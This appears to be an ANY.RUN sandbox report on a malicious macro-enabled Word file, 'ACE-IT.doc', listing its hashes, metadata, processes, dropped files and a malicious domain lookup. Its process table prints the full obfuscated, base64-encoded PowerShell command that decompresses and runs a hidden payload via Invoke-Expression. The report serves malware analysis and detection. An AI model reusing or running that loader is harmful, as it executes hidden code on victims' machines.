analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

ACE-IT.doc

Full analysis: https://app.any.run/tasks/640ca333-5043-47e9-95be-2fcb7a08318e
Verdict: Malicious activity
Analysis date: July 17, 2019, 15:52:23
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Title: z, Subject: cevejhhxhosdog, Author: pavoxfwemlonaj, Comments: igkdcimpmwxkpbceklfa, Template: Normal, Last Saved By: Windows, Revision Number: 11, Name of Creating Application: Microsoft Office Word, Total Editing Time: 03:00, Create Time/Date: Thu Apr 19 19:59:00 2018, Last Saved Time/Date: Tue Jun 25 08:51:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0
MD5:

FA27867DEB3FE645D71371E114D9ACA4

SHA1:

B5F7D60766FC3F20E9D34D159172E8089ABD595B

SHA256:

8402E526BE4DECFC10A78A69EFC46EE140167BD64FC5FA3FECD159E2C70829CE

SSDEEP:

1536:Odp4Qf9AhIwnL6H6NRDBV3evycDK3b8BP:oPVAhAaRFVOvM2P

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 2812)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2812)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 4028)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2812)

    • Manual execution by user

      • explorer.exe (PID: 1312)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2812)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: z
Subject: cevejhhxhosdog
Author: pavoxfwemlonaj
Keywords: -
Comments: igkdcimpmwxkpbceklfa
Template: Normal
LastModifiedBy: Пользователь Windows
RevisionNumber: 11
Software: Microsoft Office Word
TotalEditTime: 3.0 minutes
CreateDate: 2018:04:19 18:59:00
ModifyDate: 2019:06:25 07:51:00
Pages: 1
Words: -
Characters: 1
Security: None
CodePage: Windows Cyrillic
Manager: xswfkhrjfxnbekosx
Company: uffsnqprebxfzfuzxwbppji
Bytes: 23552
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 1
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts:
HeadingPairs:
  • Title
  • 1
  • Название
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
45
Monitored processes
3
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs powershell.exe no specs explorer.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2812"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\ACE-IT.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
4028"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Enco IAAoACAALgAoACcATgBFAFcAJwArACcALQBvAGIAJwArACcASgAnACsAJwBFAGMAVAAnACkAIAAgAFMAWQBTAHQARQBNAGAALgBpAG8AYAAuAGMATwBtAFAAcgBgAEUAYABzAFMAaQBPAGAATgAuAGQARQBgAEYAbABhAFQAZQBgAFMAdAByAGUAQQBtACgAWwBzAHkAUwB0AGUAbQAuAEkATwAuAE0ARQBNAE8AcgBZAHMAdAByAGUAQQBtAF0AWwBzAFkAUwBUAGUATQAuAEMATwBOAFYAZQByAFQAXQA6ADoAZgBSAG8AbQBCAEEAcwBlADYANABzAFQAUgBpAG4ARwAoACcAUgBZADkAQgBUADgASgBBAEYASQBUAHYASgB2ADYASABQAGQAUgBzAEcAKwB3ADIAWQBCAE0ATABUAFcATwBVAEsAcwBHAFkAUQByAEQASQBRAFUAMwBZAEwAcQA5ADAAWgBlAG4AVwA3AHAAYQBLAHAAUAAvAGQASABoAEEAdQA4AHkANAB6AGIAKwBZAHoAKwBKAHYAMABiAGgAOABxAEYAQwBBAGMATAA4AEwAbgBEAGYAYQBOAEUAWgB2AE0AWQAvAG8AVQBHAEoARAB2AEIAcABXAEMAcwBpAGgAbAB5AGcAVgAwADgAQQBmAHUARwBNAGQAQQBCAHgAUAA0AGcAZABZAHQAMwBiAFEALwBYAHcAWABFAHgARABuAHUAWQBLAGgAdAAyAFoANwBrAEMANQBqAEcARgBvAHAAZwBHAFMAOQBKAEQAYwBsAHkAKwBNAEkAaABpAG4AMQBqAFYAOAAzAEMAeQBmADMAdgBNAE0AQwBaADEAcwBYAEEAYwBkAFEASwBCAE0AMQBoAFgAMQBFAG0AcABPAFoAaQBCAFkAUwBKAEsAbgBGAFUAMABmAE4ANgBlADAAZgB4AG4AdgBLADYAZAByAGQAUABpAHEAeQA0AEUAOABHAG0AaABtAC8AaABrAGcASwAyAG0ASwBoAEMAYwBHADMAaQBLADIAegA1AHEAUwB5AEIAcwBzAHcAMAB4AHQATgBpADYAMABaADgAZwBYAGkATwBUAG0AWABXAFEAWgBmADcAdwAzAEUAcQBDAFcAVQBkAEMAVQBuAEQAZABDAHcAZQB6ADQARgByADkAQQA5AHUAKwBlAE0AVQBtAFcAWgBMAE4AQQBKAHQAagAxAHMAYwBEAGEAMQBzAFcANQA2AFQAaABZAGoASABhAEsAUQB6AFoASwA4AEIAOQBkAHcAYgB6ADcAWABRADQAVAAzAGsAZABKADEATABwAFQAbABUAFoARgBwAEsAQgBrAHAAOQBEAGcAYQB2AE0AWgAxAHAAOAAvAHcAOABhAFoAZAB1AC8ASwBaAGgAVgBMAFAAcwAwAEQAUwBYAEYAMwA4AD0AJwApACAALABbAHMAWQBzAFQAZQBtAC4AaQBvAC4AYwBPAE0AcABSAGUAUwBzAGkATwBOAC4AQwBvAG0AcAByAEUAUwBTAEkATwBOAG0ATwBkAGUAXQA6ADoARABFAEMAbwBtAHAAcgBlAFMAUwAgACkAfAAmACgAJwBmACcAKwAnAG8AcgBlACcAKwAnAGEAYwBIACcAKQB7ACAAJgAoACcATgBFAFcALQBvAGIAJwArACcASgAnACsAJwBFAGMAVAAnACkAIAAgAGkAYABvAC4AYABTAGAAVAByAGUAYQBtAFIAZQBhAGQAZQBSACgAJABfACwAWwBzAHkAUwBUAGUAbQAuAFQARQB4AFQALgBFAE4AYwBvAGQASQBuAEcAXQA6ADoAYQBzAEMAaQBpACkAIAB9AHwALgAoACcARgBvAHIARQBhACcAKwAnAEMAJwArACcASAAnACkAewAkAF8ALgByAGUAYQBEAHQAbwBlAE4AZAAoACkAIAB9ACAAKQAgAHwALgAoACcASQAnACsAJwBlAHgAJwApAA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1312"C:\Windows\explorer.exe" C:\Windows\explorer.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 370
Read events
910
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
2812WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRE987.tmp.cvr —
MD5:—
SHA256:—
4028powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\H5YK2BMA4EDMGY4TSN17.temp —
MD5:—
SHA256:—
2812WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:4A940B0EB7813A577FC697A20F4AA1E7
SHA256:FDEDCB8C518AD29752CCC1FA87D523F7498CAADE24F16AAE91652B3E3E387953
2812WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:9214826B517004D19C720F598806E8AA
SHA256:B97603E681EE2EB8DD3F55AC6EFA81BA7042ED9F615E4F8F97A4E1B0B07624CA
4028powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:4B92A079D7F4DFA0DFE9125E60FE7814
SHA256:E96B52BC25AE8BA162760C1F5159606ED78EB1EC4CBA0F98AAD2915AE22D8E04
4028powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF10f28f.TMPbinary
MD5:4B92A079D7F4DFA0DFE9125E60FE7814
SHA256:E96B52BC25AE8BA162760C1F5159606ED78EB1EC4CBA0F98AAD2915AE22D8E04
2812WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$ACE-IT.docpgc
MD5:2CEA880751C3BB7C4AC3CB3B8DAC0B39
SHA256:5662687DEB7B65B1710585CBEBAD8874E93B844D4052CAE8BA7D30A60671F1C8
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

Domain
IP
Reputation
sdelaneyuaclotilde.club
  • —
malicious

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
ACE-IT.doc